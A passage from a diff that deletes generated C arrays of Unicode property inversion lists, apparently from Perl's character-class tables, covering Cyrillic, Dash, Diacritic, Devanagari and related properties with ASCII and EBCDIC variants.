- 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1C80, - 0x1C90 -}; - -static const UV PL_CYRILLICSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x500, - 0x530 -}; - -static const UV PL_CYRL_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x400, - 0x530, - 0x1C80, - 0x1C89, - 0x1D2B, - 0x1D2C, - 0x1D78, - 0x1D79, - 0x2DE0, - 0x2E00, - 0x2E43, - 0x2E44, - 0xA640, - 0xA6A0, - 0xFE2E, - 0xFE30 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DASH_invlist[] = { /* for ASCII/Latin1 */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D, - 0x2E, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x1400, - 0x1401, - 0x1806, - 0x1807, - 0x2010, - 0x2016, - 0x2053, - 0x2054, - 0x207B, - 0x207C, - 0x208B, - 0x208C, - 0x2212, - 0x2213, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x301C, - 0x301D, - 0x3030, - 0x3031, - 0x30A0, - 0x30A1, - 0xFE31, - 0xFE33, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DASH_invlist[] = { /* for EBCDIC 1047 */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x1400, - 0x1401, - 0x1806, - 0x1807, - 0x2010, - 0x2016, - 0x2053, - 0x2054, - 0x207B, - 0x207C, - 0x208B, - 0x208C, - 0x2212, - 0x2213, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x301C, - 0x301D, - 0x3030, - 0x3031, - 0x30A0, - 0x30A1, - 0xFE31, - 0xFE33, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DASH_invlist[] = { /* for EBCDIC 037 */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61, - 0x58A, - 0x58B, - 0x5BE, - 0x5BF, - 0x1400, - 0x1401, - 0x1806, - 0x1807, - 0x2010, - 0x2016, - 0x2053, - 0x2054, - 0x207B, - 0x207C, - 0x208B, - 0x208C, - 0x2212, - 0x2213, - 0x2E17, - 0x2E18, - 0x2E1A, - 0x2E1B, - 0x2E3A, - 0x2E3C, - 0x2E40, - 0x2E41, - 0x301C, - 0x301D, - 0x3030, - 0x3031, - 0x30A0, - 0x30A1, - 0xFE31, - 0xFE33, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_DEP_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x149, - 0x14A, - 0x673, - 0x674, - 0xF77, - 0xF78, - 0xF79, - 0xF7A, - 0x17A3, - 0x17A5, - 0x206A, - 0x2070, - 0x2329, - 0x232B, - 0xE0001, - 0xE0002 -}; - -static const UV PL_DEVA_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x900, - 0x980, - 0x1CD0, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x20F0, - 0x20F1, - 0xA830, - 0xA83A, - 0xA8E0, - 0xA8FE -}; - -static const UV PL_DEVANAGARIEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA8E0, - 0xA900 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DI_invlist[] = { /* for ASCII/Latin1 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAD, - 0xAE, - 0x34F, - 0x350, - 0x61C, - 0x61D, - 0x115F, - 0x1161, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2070, - 0x3164, - 0x3165, - 0xFE00, - 0xFE10, - 0xFEFF, - 0xFF00, - 0xFFA0, - 0xFFA1, - 0xFFF0, - 0xFFF9, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE1000 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DI_invlist[] = { /* for EBCDIC 1047 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x34F, - 0x350, - 0x61C, - 0x61D, - 0x115F, - 0x1161, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2070, - 0x3164, - 0x3165, - 0xFE00, - 0xFE10, - 0xFEFF, - 0xFF00, - 0xFFA0, - 0xFFA1, - 0xFFF0, - 0xFFF9, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE1000 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DI_invlist[] = { /* for EBCDIC 037 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x34F, - 0x350, - 0x61C, - 0x61D, - 0x115F, - 0x1161, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2070, - 0x3164, - 0x3165, - 0xFE00, - 0xFE10, - 0xFEFF, - 0xFF00, - 0xFFA0, - 0xFFA1, - 0xFFF0, - 0xFFF9, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE1000 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DIA_invlist[] = { /* for ASCII/Latin1 */ - 319, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5E, - 0x5F, - 0x60, - 0x61, - 0xA8, - 0xA9, - 0xAF, - 0xB0, - 0xB4, - 0xB5, - 0xB7, - 0xB9, - 0x2B0, - 0x34F, - 0x350, - 0x358, - 0x35D, - 0x363, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x384, - 0x386, - 0x483, - 0x488, - 0x559, - 0x55A, - 0x591, - 0x5A2, - 0x5A3, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C5, - 0x64B, - 0x653, - 0x657, - 0x659, - 0x6DF, - 0x6E1, - 0x6E5, - 0x6E7, - 0x6EA, - 0x6ED, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F6, - 0x818, - 0x81A, - 0x8E3, - 0x8FF, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x971, - 0x972, - 0x9BC, - 0x9BD, - 0x9CD, - 0x9CE, - 0xA3C, - 0xA3D, - 0xA4D, - 0xA4E, - 0xABC, - 0xABD, - 0xACD, - 0xACE, - 0xAFD, - 0xB00, - 0xB3C, - 0xB3D, - 0xB4D, - 0xB4E, - 0xBCD, - 0xBCE, - 0xC4D, - 0xC4E, - 0xCBC, - 0xCBD, - 0xCCD, - 0xCCE, - 0xD3B, - 0xD3D, - 0xD4D, - 0xD4E, - 0xDCA, - 0xDCB, - 0xE47, - 0xE4D, - 0xE4E, - 0xE4F, - 0xEC8, - 0xECD, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF82, - 0xF85, - 0xF86, - 0xF88, - 0xFC6, - 0xFC7, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x1087, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109C, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x1939, - 0x193C, - 0x1A75, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABE, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1BAA, - 0x1BAC, - 0x1C36, - 0x1C38, - 0x1C78, - 0x1C7E, - 0x1CD0, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D2C, - 0x1D6B, - 0x1DC4, - 0x1DD0, - 0x1DF5, - 0x1DFA, - 0x1DFD, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2CEF, - 0x2CF2, - 0x2E2F, - 0x2E30, - 0x302A, - 0x3030, - 0x3099, - 0x309D, - 0x30FC, - 0x30FD, - 0xA66F, - 0xA670, - 0xA67C, - 0xA67E, - 0xA67F, - 0xA680, - 0xA69C, - 0xA69E, - 0xA6F0, - 0xA6F2, - 0xA717, - 0xA722, - 0xA788, - 0xA789, - 0xA7F8, - 0xA7FA, - 0xA8C4, - 0xA8C5, - 0xA8E0, - 0xA8F2, - 0xA92B, - 0xA92F, - 0xA953, - 0xA954, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC3, - 0xAAF6, - 0xAAF7, - 0xAB5B, - 0xAB60, - 0xABEC, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE20, - 0xFE30, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFE3, - 0xFFE4, - 0x102E0, - 0x102E1, - 0x10AE5, - 0x10AE7, - 0x110B9, - 0x110BB, - 0x11133, - 0x11135, - 0x11173, - 0x11174, - 0x111C0, - 0x111C1, - 0x111CA, - 0x111CD, - 0x11235, - 0x11237, - 0x112E9, - 0x112EB, - 0x1133C, - 0x1133D, - 0x1134D, - 0x1134E, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x114C2, - 0x114C4, - 0x115BF, - 0x115C1, - 0x1163F, - 0x11640, - 0x116B6, - 0x116B8, - 0x1172B, - 0x1172C, - 0x11A34, - 0x11A35, - 0x11A47, - 0x11A48, - 0x11A99, - 0x11A9A, - 0x11C3F, - 0x11C40, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x16AF0, - 0x16AF5, - 0x16F8F, - 0x16FA0, - 0x1D167, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1E94B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DIA_invlist[] = { /* for EBCDIC 1047 */ - 319, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5F, - 0x60, - 0x79, - 0x7A, - 0x9D, - 0x9E, - 0xB3, - 0xB4, - 0xBB, - 0xBD, - 0xBE, - 0xBF, - 0x2B0, - 0x34F, - 0x350, - 0x358, - 0x35D, - 0x363, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x384, - 0x386, - 0x483, - 0x488, - 0x559, - 0x55A, - 0x591, - 0x5A2, - 0x5A3, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C5, - 0x64B, - 0x653, - 0x657, - 0x659, - 0x6DF, - 0x6E1, - 0x6E5, - 0x6E7, - 0x6EA, - 0x6ED, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F6, - 0x818, - 0x81A, - 0x8E3, - 0x8FF, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x971, - 0x972, - 0x9BC, - 0x9BD, - 0x9CD, - 0x9CE, - 0xA3C, - 0xA3D, - 0xA4D, - 0xA4E, - 0xABC, - 0xABD, - 0xACD, - 0xACE, - 0xAFD, - 0xB00, - 0xB3C, - 0xB3D, - 0xB4D, - 0xB4E, - 0xBCD, - 0xBCE, - 0xC4D, - 0xC4E, - 0xCBC, - 0xCBD, - 0xCCD, - 0xCCE, - 0xD3B, - 0xD3D, - 0xD4D, - 0xD4E, - 0xDCA, - 0xDCB, - 0xE47, - 0xE4D, - 0xE4E, - 0xE4F, - 0xEC8, - 0xECD, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF82, - 0xF85, - 0xF86, - 0xF88, - 0xFC6, - 0xFC7, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x1087, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109C, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x1939, - 0x193C, - 0x1A75, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABE, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1BAA, - 0x1BAC, - 0x1C36, - 0x1C38, - 0x1C78, - 0x1C7E, - 0x1CD0, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D2C, - 0x1D6B, - 0x1DC4, - 0x1DD0, - 0x1DF5, - 0x1DFA, - 0x1DFD, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2CEF, - 0x2CF2, - 0x2E2F, - 0x2E30, - 0x302A, - 0x3030, - 0x3099, - 0x309D, - 0x30FC, - 0x30FD, - 0xA66F, - 0xA670, - 0xA67C, - 0xA67E, - 0xA67F, - 0xA680, - 0xA69C, - 0xA69E, - 0xA6F0, - 0xA6F2, - 0xA717, - 0xA722, - 0xA788, - 0xA789, - 0xA7F8, - 0xA7FA, - 0xA8C4, - 0xA8C5, - 0xA8E0, - 0xA8F2, - 0xA92B, - 0xA92F, - 0xA953, - 0xA954, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC3, - 0xAAF6, - 0xAAF7, - 0xAB5B, - 0xAB60, - 0xABEC, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE20, - 0xFE30, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFE3, - 0xFFE4, - 0x102E0, - 0x102E1, - 0x10AE5, - 0x10AE7, - 0x110B9, - 0x110BB, - 0x11133, - 0x11135, - 0x11173, - 0x11174, - 0x111C0, - 0x111C1, - 0x111CA, - 0x111CD, - 0x11235, - 0x11237, - 0x112E9, - 0x112EB, - 0x1133C, - 0x1133D, - 0x1134D, - 0x1134E, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x114C2, - 0x114C4, - 0x115BF, - 0x115C1, - 0x1163F, - 0x11640, - 0x116B6, - 0x116B8, - 0x1172B, - 0x1172C, - 0x11A34, - 0x11A35, - 0x11A47, - 0x11A48, - 0x11A99, - 0x11A9A, - 0x11C3F, - 0x11C40, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x16AF0, - 0x16AF5, - 0x16F8F, - 0x16FA0, - 0x1D167, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1E94B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DIA_invlist[] = { /* for EBCDIC 037 */ - 317, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x79, - 0x7A, - 0x9D, - 0x9E, - 0xB0, - 0xB1, - 0xB3, - 0xB4, - 0xBC, - 0xBF, - 0x2B0, - 0x34F, - 0x350, - 0x358, - 0x35D, - 0x363, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x384, - 0x386, - 0x483, - 0x488, - 0x559, - 0x55A, - 0x591, - 0x5A2, - 0x5A3, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C5, - 0x64B, - 0x653, - 0x657, - 0x659, - 0x6DF, - 0x6E1, - 0x6E5, - 0x6E7, - 0x6EA, - 0x6ED, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F6, - 0x818, - 0x81A, - 0x8E3, - 0x8FF, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x971, - 0x972, - 0x9BC, - 0x9BD, - 0x9CD, - 0x9CE, - 0xA3C, - 0xA3D, - 0xA4D, - 0xA4E, - 0xABC, - 0xABD, - 0xACD, - 0xACE, - 0xAFD, - 0xB00, - 0xB3C, - 0xB3D, - 0xB4D, - 0xB4E, - 0xBCD, - 0xBCE, - 0xC4D, - 0xC4E, - 0xCBC, - 0xCBD, - 0xCCD, - 0xCCE, - 0xD3B, - 0xD3D, - 0xD4D, - 0xD4E, - 0xDCA, - 0xDCB, - 0xE47, - 0xE4D, - 0xE4E, - 0xE4F, - 0xEC8, - 0xECD, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF82, - 0xF85, - 0xF86, - 0xF88, - 0xFC6, - 0xFC7, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x1087, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109C, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x1939, - 0x193C, - 0x1A75, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABE, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1BAA, - 0x1BAC, - 0x1C36, - 0x1C38, - 0x1C78, - 0x1C7E, - 0x1CD0, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D2C, - 0x1D6B, - 0x1DC4, - 0x1DD0, - 0x1DF5, - 0x1DFA, - 0x1DFD, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2CEF, - 0x2CF2, - 0x2E2F, - 0x2E30, - 0x302A, - 0x3030, - 0x3099, - 0x309D, - 0x30FC, - 0x30FD, - 0xA66F, - 0xA670, - 0xA67C, - 0xA67E, - 0xA67F, - 0xA680, - 0xA69C, - 0xA69E, - 0xA6F0, - 0xA6F2, - 0xA717, - 0xA722, - 0xA788, - 0xA789, - 0xA7F8, - 0xA7FA, - 0xA8C4, - 0xA8C5, - 0xA8E0, - 0xA8F2, - 0xA92B, - 0xA92F, - 0xA953, - 0xA954, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC3, - 0xAAF6, - 0xAAF7, - 0xAB5B, - 0xAB60, - 0xABEC, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE20, - 0xFE30, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFE3, - 0xFFE4, - 0x102E0, - 0x102E1, - 0x10AE5, - 0x10AE7, - 0x110B9, - 0x110BB, - 0x11133, - 0x11135, - 0x11173, - 0x11174, - 0x111C0, - 0x111C1, - 0x111CA, - 0x111CD, - 0x11235, - 0x11237, - 0x112E9, - 0x112EB, - 0x1133C, - 0x1133D, - 0x1134D, - 0x1134E, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x114C2, - 0x114C4, - 0x115BF, - 0x115C1, - 0x1163F, - 0x11640, - 0x116B6, - 0x116B8, - 0x1172B, - 0x1172C, - 0x11A34, - 0x11A35, - 0x11A47, - 0x11A48, - 0x11A99, - 0x11A9A, - 0x11C3F, - 0x11C40, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x16AF0, - 0x16AF5, - 0x16F8F, - 0x16FA0, - 0x1D167, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1E94B -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_DIACRITICALS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x370 -}; - -static const UV PL_DIACRITICALSEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1AB0, - 0x1B00 -}; - -static const UV PL_DIACRITICALSFORSYMBOLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20D0, - 0x2100 -}; - -static const UV PL_DIACRITICALSSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1DC0, - 0x1E00 -}; - -static const UV PL_DINGBATS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2700, - 0x27C0 -}; - -static const UV PL_DOMINO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F030, - 0x1F0A0 -}; - -static const UV PL_DSRT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10400, - 0x10450 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DT__CAN_invlist[] = { /* for ASCII/Latin1 */ - 463, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC0, - 0xC6, - 0xC7, - 0xD0, - 0xD1, - 0xD7, - 0xD9, - 0xDE, - 0xE0, - 0xE6, - 0xE7, - 0xF0, - 0xF1, - 0xF7, - 0xF9, - 0xFE, - 0xFF, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x149, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x17F, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1CD, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F1, - 0x1F4, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D3, - 0x3D5, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x622, - 0x627, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF77, - 0xF78, - 0xF79, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1E00, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 